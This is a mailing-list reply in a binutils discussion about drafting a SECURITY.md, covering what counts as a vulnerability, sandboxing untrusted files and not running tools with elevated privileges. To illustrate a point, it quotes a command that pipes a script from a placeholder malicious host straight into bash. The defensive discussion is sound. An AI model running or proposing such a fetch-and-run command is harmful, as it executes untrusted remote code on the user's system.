Re: RFC: Adding a SECURITY.md document to the Binutils

On 2023-04-13 08:37, Richard Earnshaw wrote:
>> "Direct compromise of security" is essentially what we're trying to 
>> define more strongly to prevent spurious CVE assignments.
> 
> If a user can be tricked into opening a corrupt file (eg object file) 
> and that causes a buffer overflow that's then used to send another file 
> to a third party, you can't really pretend that's not a direct 
> compromise of security.  We live in the real world and this sort of 
> threat is real.

I agree that this sort of threat is real, which is why we should 
recommend sandboxing to deal with corrupt/untrusted files.  There is no 
way that any program can be secured against untrusted input *after* it 
has been supplied to it, especially if the input is in a Turing complete 
form, like a program or a script.

This is why when one does a:

curl -s http://evil.website/malicious-script.sh | bash

it is a legitimate security issue, but it's not a vulnerability in bash, 
nor can it be secured in bash.  One must either do this in a sandbox to 
contain its impact in that sandbox, or do a secondary analysis (again in 
a sandbox) to determine that it is safe.

>>> a vulnerability in the generated output that was not already present 
>>> in the files used as input.
>>>
>>> Note: none of the programs in the GNU Binutils suite need elevated 
>>> system privileges (eg setuid) to operate and we recommend that users 
>>> do not use them from accounts where such privileges are automatically 
>>> available.
>>
>> We did have CVE-2021-20197, so it's not always setuid.
> 
> 
> Which is exactly the sort of scenario I was trying to exclude by this 
> statement - don't run the tools with elevated privileges.

I should have clarified that I agree, just that mentioning setuid might 
lull users into believing that this threat model is only related to setuid.

Sid